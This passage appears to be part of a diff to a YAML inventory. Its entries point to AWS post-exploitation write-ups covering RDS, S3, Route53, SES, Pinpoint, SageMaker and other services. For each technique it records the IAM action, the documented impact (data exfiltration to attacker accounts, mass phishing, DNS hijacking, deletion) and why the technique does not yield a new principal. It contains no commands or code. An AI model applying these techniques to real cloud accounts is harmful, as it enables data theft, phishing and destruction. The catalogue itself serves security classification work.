src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#sms-voicesendtextmessage--sendvoicemessage--smishing--vishing-from-a-trusted-origination-identity + technique: '`sms-voice:SendTextMessage` / `SendVoiceMessage` — smishing / vishing from a trusted origination identity' + reason: 'Documented impact: Send phishing SMS / automated voice calls from the victim''s trusted, deliverability-warmed + phone numbers, abusing the organization''s reputation against employees or customers. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingsendmessages--sendusersmessages--direct-multi-channel-send + technique: '`mobiletargeting:SendMessages` / `SendUsersMessages` — direct multi-channel send' + reason: 'Documented impact: Phishing across SMS/email/push/voice from the victim''s Pinpoint project, including + to endpoints already enrolled in it. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pinpoint-post-exploitation/README.md#mobiletargetingcreatecampaign--createjourney--mass-phishing-to-the-victims-own-audience + technique: '`mobiletargeting:CreateCampaign` / `CreateJourney` — mass phishing to the victim''s own audience' + reason: 'Documented impact: One call phishes the organization''s entire stored audience (potentially millions + of endpoints) from its trusted channels; journeys make it an automated, recurring campaign. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-in-connect-post-exploitation/README.md#wisdomlistmessages--wisdomlistspans--read-conversations-and-ai-agent-traces + technique: '`wisdom:ListMessages` / `wisdom:ListSpans` — Read conversations and AI-agent traces' + reason: This heading concerns reading or exporting data via `wisdom:ListMessages` / `wisdom:ListSpans` — Read + conversations and AI-agent traces; it does not itself authorize a different AWS principal or execute code as + its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + reason: This heading concerns reading or exporting data via Harvest DB credentials via RDS Proxy auth secrets + (`rds:DescribeDBProxies` + `secretsmanager:GetSecr; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdownloaddblogfileportion + technique: '`rds:DownloadDBLogFilePortion`' + reason: 'Documented impact: Access to sensitive information or unauthorized actions using leaked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatebluegreendeployment-rdsmodifydbinstance + technique: '`rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A full clone of the production topology the attacker can reconfigure freely (public + access, new master password), and — if switchover is available — the ability to make that reconfigured clone + become production. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbsnapshot-rdsrestoredbinstancefromdbsnapshot-rdsmodifydbinstance + technique: '`rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A fully attacker-controlled, internet-reachable copy of the production database with + a password the attacker sets — total read/write access to every row, without ever authenticating to the original + instance. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsrestore + technique: '`rds:Restore*`' + reason: 'Documented impact: A second copy of the data under an identifier the attacker chooses, optionally public + — reads the entire database while leaving production untouched and unalarmed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole--export-a-snapshots-full-contents-to-attacker-s3 + technique: '`rds:StartExportTask`, `iam:PassRole` — export a snapshot''s full contents to attacker S3' + reason: 'Documented impact: Full exfiltration of a database''s contents (every table, including historical data + in old snapshots) into an attacker-controlled S3 bucket, with no second account, no live restore, and no network + path to the DB. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbsnapshotattribute-rdscreatedbsnapshot + technique: '`rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`' + reason: 'Documented impact: Hand a complete copy of the database to an arbitrary AWS account — or to every AWS + account — which then restores and reads it entirely outside your account. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbclustersnapshotattribute-rdscreatedbclustersnapshot + technique: '`rds:ModifyDBClusterSnapshotAttribute`, `rds:CreateDBClusterSnapshot`' + reason: 'Documented impact: Exfiltrate an entire Aurora/RDS cluster — every database in it — to an attacker-controlled + or public AWS account that restores it outside your account. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole-kms-key-use-permissions + technique: '`rds:StartExportTask`, `iam:PassRole`, KMS key-use permissions' + reason: 'Documented impact: Access to sensitive data in the exported snapshot. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#cross-region-automated-backups-replication-for-stealthy-restore-rdsstartdbinstanceautomatedbackupsreplication + technique: Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) + reason: 'Documented impact: A continuously-updated copy of the database''s backups in a region the defender may + not monitor, restorable at will — durable data access that survives remediation in the primary region. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstancereadreplica-rdsmodifydbinstance + technique: '`rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A live, continuously-synced replica of production under an identifier the attacker + controls, optionally public — full read access to current data, and after promotion a writable copy. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#stealthy-continuous-exfiltration-via-aurora-zeroetl-to-amazon-redshift-rdscreateintegration + technique: Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) + reason: 'Documented impact: A continuously-replicating, near-real-time feed of the Aurora database into a Redshift + warehouse — potentially in another account — that keeps delivering data indefinitely after the initial access + is closed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstopdbcluster--rdsstopdbinstance + technique: '`rds:StopDBCluster` & `rds:StopDBInstance`' + reason: 'Documented impact: Denial of service — the application loses its database. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdelete + technique: '`rds:Delete*`' + reason: 'Documented impact: Irreversible destruction of databases, clusters, snapshots and automated backups — + full data loss and, when snapshots are deleted first, elimination of the recovery path. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdeletedbinstance + technique: '`rds:DeleteDBInstance`' + reason: 'Documented impact: Deletion of existing RDS instances, and potential loss of data. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodify + technique: '`rds:Modify*`' + reason: 'Documented impact: Depending on the sub-action: reset the master password to gain DB access, expose the + instance publicly, disable backups/encryption-in-transit, or point the instance at an attacker-controlled parameter + or option group. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-dataexecutestatement---run-sql-without-a-database-network-route + technique: '`redshift-data:ExecuteStatement` - run SQL without a database network route' + reason: 'Documented impact: Remote execution of every SQL operation granted to the database identity, including + reading sensitive tables, modifying data, creating database users, or invoking AWS integrations available to + that user, without direct access... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizesnapshotaccess---share-a-provisioned-snapshot-cross-account + technique: '`redshift:AuthorizeSnapshotAccess` - share a provisioned snapshot cross-account' + reason: 'Documented impact: Durable cross-account exfiltration of the complete database image. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizedatashare---expose-a-live-datashare-to-another-account + technique: '`redshift:AuthorizeDataShare` - expose a live datashare to another account' + reason: 'Documented impact: Live cross-account read access to shared production objects, and potentially writes + when both the authorization and datashare objects allow them. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-serverlessputresourcepolicy---share-a-serverless-snapshot-cross-account + technique: '`redshift-serverless:PutResourcePolicy` - share a Serverless snapshot cross-account' + reason: 'Documented impact: Cross-account restoration and durable exfiltration of a Serverless namespace snapshot. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacescreateservice--refactor-spacescreateroute---intercept-selected-application-requests + technique: '`refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` - Intercept selected application requests' + reason: The section documents the resource or service effect of `refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` + - Intercept selected application req, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacesupdateroute---disable-a-specific-route-and-force-default-route-fallback + technique: '`refactor-spaces:UpdateRoute` - Disable a specific route and force default-route fallback' + reason: This heading concerns removal, disruption or access denial via `refactor-spaces:UpdateRoute` - Disable + a specific route and force default-route fallback; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-explorer-inventory-post-exploitation/README.md#resource-explorer-2getview--search--cross-service-metadata-oracle + technique: '`resource-explorer-2:GetView` + `Search` — cross-service metadata oracle' + reason: 'Documented impact: Cross-service reconnaissance of resource names, ARNs, account/Region placement, types, + timestamps, and optional properties without target-service enumeration permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#taggetresources--cross-service-arn-and-tag-value-disclosure + technique: '`tag:GetResources` — cross-service ARN and tag-value disclosure' + reason: 'Documented impact: Discover cross-service resource ARNs, naming conventions, organization/environment + metadata, and every exposed tag value without native service enumeration permissions. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#tagstartreportcreation--export-organization-wide-tag-inventory-to-a-chosen-s3-bucket + technique: '`tag:StartReportCreation` — export organization-wide tag inventory to a chosen S3 bucket' + reason: 'Documented impact: Cross-account exfiltration of an organization-wide inventory of tagged resource ARNs, + tag values, account structure clues, and tag-policy compliance to an attacker-readable S3 bucket. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-arc-routing-control-post-exploitation/README.md#route53-recovery-clusterupdateroutingcontrolstates--reroute-traffic-and-override-safety-rules + technique: '`route53-recovery-cluster:UpdateRoutingControlState(s)` — reroute traffic and override safety rules' + reason: 'Documented impact: Drain an active application cell, direct users to a standby or compromised cell, force + a failover during an unsafe period, or override a last-cell-on assertion and make all protected cells ineligible. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53changeresourcerecordsets--existing-zone-dns-takeover + technique: '`route53:ChangeResourceRecordSets` — Existing-zone DNS takeover' + reason: 'Documented impact: Redirect or disable web, API, email, service-discovery, and validation traffic for + names in the affected zone. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createvpcassociationauthorization--expose-a-private-hosted-zone-to-an-attacker-vpc + technique: '`route53:CreateVPCAssociationAuthorization` — expose a private hosted zone to an attacker VPC' + reason: 'Documented impact: Cross-account exposure of a private hosted zone — the attacker''s VPC gains the victim''s + internal DNS resolution, revealing internal endpoints and enabling name-based redirection/MITM from attacker-controlled + infrastructure. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-global-resolver-post-exploitation/README.md#route53globalresolvergetaccesstoken--recover-a-dohdot-client-token + technique: '`route53globalresolver:GetAccessToken` — recover a DoH/DoT client token' + reason: 'Documented impact: High-impact credential disclosure. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateresourcetoprofile--updateprofileresourceassociation--propagate-malicious-dns-configuration + technique: '`AssociateResourceToProfile` / `UpdateProfileResourceAssociation` — propagate malicious DNS configuration' + reason: 'Documented impact: DNS-based traffic redirection or denial, bulk query-name disclosure, bypass or weakening + of DNS filtering, and propagation of a malicious endpoint/configuration to every attached VPC. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateprofile--apply-an-attacker-controlled-shared-profile-to-a-victim-vpc + technique: '`AssociateProfile` — apply an attacker-controlled shared Profile to a victim VPC' + reason: 'Documented impact: cross-account propagation of private DNS answers, forwarding rules, filtering, query + logging and endpoint private DNS into the victim VPC. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#disassociateprofile--disassociateresourcefromprofile--remove-centralized-dns-controls + technique: '`DisassociateProfile` / `DisassociateResourceFromProfile` — remove centralized DNS controls' + reason: 'Documented impact: defense evasion and DNS outage across one VPC or every VPC consuming the Profile. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolverupdateresolverrule--repoint-an-existing-forwarding-rule-at-attacker-dns + technique: '`route53resolver:UpdateResolverRule` — repoint an existing forwarding rule at attacker DNS' + reason: 'Documented impact: Hijack DNS resolution for the rule''s domain across every associated VPC — resolve + internal names to attacker IPs and man-in-the-middle the workloads'' traffic, without changing any application + configuration. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolvercreateresolverrule--associateresolverrule--add-a-new-forwarding-hijack + technique: '`route53resolver:CreateResolverRule` + `AssociateResolverRule` — add a new forwarding hijack' + reason: 'Documented impact: Establish DNS forwarding for a chosen domain in a target VPC and resolve it through + attacker DNS — a from-scratch DNS-hijack foothold, potentially cross-account when the rule is shared through + RAM. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdaterespondergateway--replace-a-managed-responder-backend + technique: '`rtbfabric:UpdateResponderGateway` — replace a managed responder backend' + reason: 'Documented impact: Redirect future OpenRTB requests to attacker-controlled or compromised compute, exposing + bid-request data and allowing manipulated bids/no-bids, response tampering or an application outage. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabriccreateoutboundexternallink--stage-a-public-exfiltration-destination + technique: '`rtbfabric:CreateOutboundExternalLink` — stage a public exfiltration destination' + reason: 'Documented impact: If the requester is subsequently configured to use the link, receive OpenRTB request + payloads at a public endpoint, manipulate responses, or create a selective outage. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdatelinkmoduleflow--suppress-filter-or-alter-bid-traffic + technique: '`rtbfabric:UpdateLinkModuleFlow` — suppress, filter or alter bid traffic' + reason: 'Documented impact: Drop all or selected bid traffic, throttle transaction volume, selectively exclude + valuable requests, or inject a header that changes downstream routing, policy or analytics. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3filesupdatemounttarget--createmounttarget--network-exposure-of-the-data-plane + technique: '`s3files:UpdateMountTarget` / `CreateMountTarget` — network exposure of the data plane' + reason: 'Documented impact: Lateral movement / data access by exposing the file system''s NFS endpoint to an attacker-reachable + network segment. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#global-bucket-name-takeover-of-autonomous-writers---s3deletebucket + technique: Global bucket name takeover of autonomous writers - `s3:DeleteBucket` + reason: 'Documented impact: silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline + artifacts to an attacker-controlled AWS account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putreplicationconfiguration--continuous-exfiltration-via-bucket-replication + technique: '`s3:PutReplicationConfiguration` — continuous exfiltration via bucket replication' + reason: 'Documented impact: Silent, continuous, server-side exfiltration of every object written to the bucket + into an attacker-controlled account, surviving credential rotation and requiring no further attacker activity. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3restoreobject + technique: '`s3:RestoreObject`' + reason: 'Documented impact: Recovery and theft of archived data (backups, old snapshots, historical logs) that + is otherwise offline, including secrets long removed from current objects. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putobject-on-an-ssm-aws-runremotescript-payload + technique: '`s3:PutObject` on an SSM `AWS-RunRemoteScript` payload' + reason: 'Documented impact: Local root/SYSTEM command execution on targeted managed nodes and access to the AWS + permissions exposed through each node''s credential chain. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketnotification--wire-future-objects-into-a-pre-authorized-lambda + technique: '`s3:PutBucketNotification` — wire future objects into a pre-authorized Lambda' + reason: The bucket notification only routes later objects to an already authorized Lambda. Code execution further + requires a producer to upload an executable payload and a Lambda that treats it as code; PutBucketNotification + alone gives no role execution. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketwebsite--hijack-a-static-sites-traffic-via-redirect-config + technique: '`s3:PutBucketWebsite` — hijack a static site''s traffic via redirect config' + reason: 'Documented impact: redirect a static site''s visitors (or a specific callback path) to an attacker host + for phishing, defacement, or theft of any secret carried in the request URL/query string, without modifying + a single object. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3delete + technique: '`s3:Delete*`' + reason: 'Documented impact: Destruction of the bucket''s objects and, with versioning suspended or version deletion + permitted, permanent loss of the data. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribeappimageconfig-and-sagemakerlistappimageconfigs--read-plaintext-container-variables + technique: '`sagemaker:DescribeAppImageConfig` and `sagemaker:ListAppImageConfigs` — read plaintext container + variables' + reason: 'Documented impact: Disclosure of tokens, credentials, internal endpoints, or proprietary application + settings placed directly in custom-image environment variables. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribemodel--inference-environment-secret-disclosure + technique: '`sagemaker:DescribeModel` — inference-environment secret disclosure' + reason: This heading concerns reading or exporting data via `sagemaker:DescribeModel` — inference-environment + secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribetrainingjob--read-training-configuration-and-environment-values + technique: '`sagemaker:DescribeTrainingJob` — Read training configuration and environment values' + reason: 'Documented impact: Disclosure of ML deployment configuration, plaintext job variables, proprietary hyperparameters, + and sensitive dataset/model locations. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-endpoint-data-siphon-via-updateendpoint-datacaptureconfig + technique: SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + reason: The section documents the resource or service effect of SageMaker endpoint data siphon via UpdateEndpoint + DataCaptureConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-async-inference-output-hijack-via-updateendpoint-asyncinferenceconfig + technique: SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + reason: The section documents the resource or service effect of SageMaker async inference output hijack via UpdateEndpoint + AsyncInferenceConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerrestoresecret + technique: secretsmanager:RestoreSecret + reason: 'Documented impact: Restores access to a secret that was scheduled for deletion, including its stored + versions; this can re-enable dependent applications. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerupdatesecretversionstage + technique: secretsmanager:UpdateSecretVersionStage + reason: 'Documented impact: Consumers that request the default version receive the newly labeled value, which + can cause authentication failures if it is invalid. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerdeleteresourcepolicy + technique: secretsmanager:DeleteResourcePolicy + reason: 'Documented impact: Principals relying on the removed resource policy can lose access to the secret. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartpentestjob--run-intrusive-tests-against-configured-targets + technique: '`securityagent:StartPentestJob` — run intrusive tests against configured targets' + reason: 'Documented impact: Generate intrusive traffic against an organization''s verified application, exercise + authenticated functions, consume application/security-team capacity, or trigger defects with real payloads. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentlistactormessages--recover-email-mfa-codes-and-verification-links + technique: '`securityagent:ListActorMessages` — recover email MFA codes and verification links' + reason: 'Documented impact: Obtain a live email OTP or verification link and complete the corresponding application''s + second-factor or account-verification step when the attacker also controls the required primary credential/session. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentgetartifact--batchgetfindings--recover-assessment-context-and-exploit-material + technique: '`securityagent:GetArtifact` / `BatchGetFindings` — recover assessment context and exploit material' + reason: 'Documented impact: Recover application architecture/configuration, vulnerable file/line locations, confirmed + exploit logic, reproducible attack scripts, authentication/test environment values, endpoint inventory and repository/remediation + metadata. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartcoderemediation--trigger-trusted-remediation-pull-requests + technique: '`securityagent:StartCodeRemediation` — trigger trusted remediation pull requests' + reason: 'Documented impact: Cause trusted automated branches/pull requests, consume reviewer/CI capacity, and + place generated security changes into the repository review path. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentupdatefinding--batchdeletepentests--hide-or-destroy-assessment-evidence + technique: '`securityagent:UpdateFinding` / `BatchDeletePentests` — hide or destroy assessment evidence' + reason: 'Documented impact: Remove vulnerabilities from the active security queue, falsify severity/status, break + historical evidence and prevent defenders from using the normal assessment record to prioritize remediation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-lake-post-exploitation/README.md#securitylakecreatesubscriber--updatesubscriber--external-cross-account-access + technique: '`securitylake:CreateSubscriber` / `UpdateSubscriber` — external cross-account access' + reason: 'Documented impact: Cross-account exfiltration of the selected centralized security telemetry and disclosure + of defender visibility. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#recover-application-metadata--servicecataloggetattributegroup + technique: Recover application metadata — `servicecatalog:GetAttributeGroup` + reason: 'Documented impact: recover application ownership, contacts, department, runtime, SLA, compliance/data-sensitivity + classification, internal endpoints, runbooks and other operational context stored as AppRegistry metadata. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#poison-shared-application-metadata--servicecatalogupdateattributegroup + technique: Poison shared application metadata — `servicecatalog:UpdateAttributeGroup` + reason: 'Documented impact: misroute responders, falsify ownership/compliance/data-sensitivity context, or poison + CMDB, CI/CD, ServiceNow and governance workflows that trust AppRegistry metadata. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendemail + technique: '`ses:SendEmail`' + reason: 'Documented impact: Send email from a verified identity (bulk phishing/spam, BEC/impersonation). This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendrawemail + technique: '`ses:SendRawEmail`' + reason: 'Documented impact: Send a MIME email with attacker-controlled headers and attachments (spoofed headers, + malware payloads) from a verified identity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendtemplatedemail + technique: '`ses:SendTemplatedEmail`' + reason: 'Documented impact: Send templated email at scale using an existing template — consistent, professional-looking + phishing. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulktemplatedemail + technique: '`ses:SendBulkTemplatedEmail`' + reason: 'Documented impact: Fan a template out to up to 50 destinations per call — mass phishing in a single request. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulkemail + technique: '`ses:SendBulkEmail`' + reason: 'Documented impact: SES API v2 bulk send to many destinations in one call — high-volume distribution. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbounce + technique: '`ses:SendBounce`' + reason: 'Documented impact: Forge a bounce message to the original sender of a message received through SES (within + 24h) — targeted spoofed non-delivery notices / social engineering. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendcustomverificationemail + technique: '`ses:SendCustomVerificationEmail`' + reason: 'Documented impact: Send a custom verification email and attempt to add the target address as an SES identity + — identity seeding and a phishing lure that appears to 